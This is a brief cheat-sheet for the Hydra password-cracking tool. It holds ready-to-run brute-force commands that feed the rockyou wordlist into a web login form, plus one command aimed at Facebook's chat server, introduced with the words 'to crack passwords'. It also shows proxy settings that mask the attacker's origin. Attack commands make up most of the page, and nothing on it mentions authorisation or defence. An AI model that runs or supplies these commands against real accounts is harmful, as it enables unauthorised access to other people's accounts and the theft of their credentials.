Hydra

• Example
• Use a proxy

Nice security-tool…

Example

Example usage:

$ hydra -vV -t TASKS -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt \
   <HOST|IP> http-post-form \
   "/login.php:username=^USER^&password=^PASS^&submit=Submit:Incorrect"

For facebook use chat.facebook.com:5222 to crack passwords instead of https

$ hydra -vV -t 1 -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt \
   chat.facebook.com -s 5222 xmpp

• rockyou-75.txt

Use a proxy

Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.

HYDRA_PROXY=[http|socks4|socks5]://proxy_addr:proxy_port